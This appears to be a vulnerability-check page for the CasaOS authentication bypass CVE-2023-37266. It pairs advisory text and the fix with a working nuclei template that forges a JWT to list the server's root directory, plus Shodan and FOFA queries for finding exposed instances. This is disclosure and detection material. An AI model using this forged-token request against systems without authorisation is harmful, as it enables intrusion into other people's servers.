CasaOS < 0.4.4 - Authentication Bypass via Random JWT Token

criticalseverity

9.8CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.

Impact

Successful exploitation allows unauthorized access to the CasaOS system.

Fix

The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.

How to confirm it

Send: GET {{BaseURL}}/v1/folder?path=%2F
Positive when: contains "\"success\":200" and "\"message\":\"ok\"" and "content" and "is_dir"

Run it with nuclei: nuclei -id CVE-2023-37266 -u <target>

The full check

id: CVE-2023-37266

info:
  name: CasaOS  < 0.4.4 - Authentication Bypass via Random JWT Token
  author: iamnoooob,DhiyaneshDK,pdresearch
  severity: critical
  description: |
    CasaOS is an open-source Personal Cloud system. Unauthenticated attackers can craft arbitrary JWTs and access features that usually require authentication and execute arbitrary commands as `root` on CasaOS instances. This problem was addressed by improving the validation of JWTs in commit `705bf1f`. This patch is part of CasaOS 0.4.4. Users should upgrade to CasaOS 0.4.4. If they can't, they should temporarily restrict access to CasaOS to untrusted users, for instance by not exposing it publicly.
  impact: |
    Successful exploitation allows unauthorized access to the CasaOS system.
  remediation: The problem was addressed by improving the validation of JWTs in 705bf1f. This patch is part of CasaOS 0.4.4.
  reference:
    - https://github.com/IceWhaleTech/CasaOS/commit/705bf1facbffd2ca40b159b0303132b6fdf657ad
    - https://github.com/IceWhaleTech/CasaOS/security/advisories/GHSA-m5q5-8mfw-p2hr
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-37266
    cwe-id: CWE-287
    epss-score: 0.06844
    epss-percentile: 0.94084
    cpe: cpe:2.3:o:icewhale:casaos:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewhale
    product: casaos
    shodan-query:
      - http.html:"/CasaOS-UI/public/index.html"
      - http.html:"/casaos-ui/public/index.html"
    fofa-query:
      - body="/CasaOS-UI/public/index.html"
      - body="/casaos-ui/public/index.html"
  tags: cve2023,cve,oss,casaos,jwt,icewhale,vuln
variables:
  jwt_data: '{"iss":"casaos","exp":1790210322,"nbf":1790199522,"iat":1790199522}'
  jwt_token: '{{generate_jwt(jwt_data, "HS256")}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/folder?path=%2F"

    headers:
      Authorization: '{{jwt_token}}'
    matchers:
      - type: word
        words:
          - '"success":200'
          - '"message":"ok"'
          - 'content'
          - 'is_dir'
        condition: and

    extractors:
      - type: json
        json:
          - .data.content[].path

References

Use this check only on systems you are authorised to test. Where the data comes from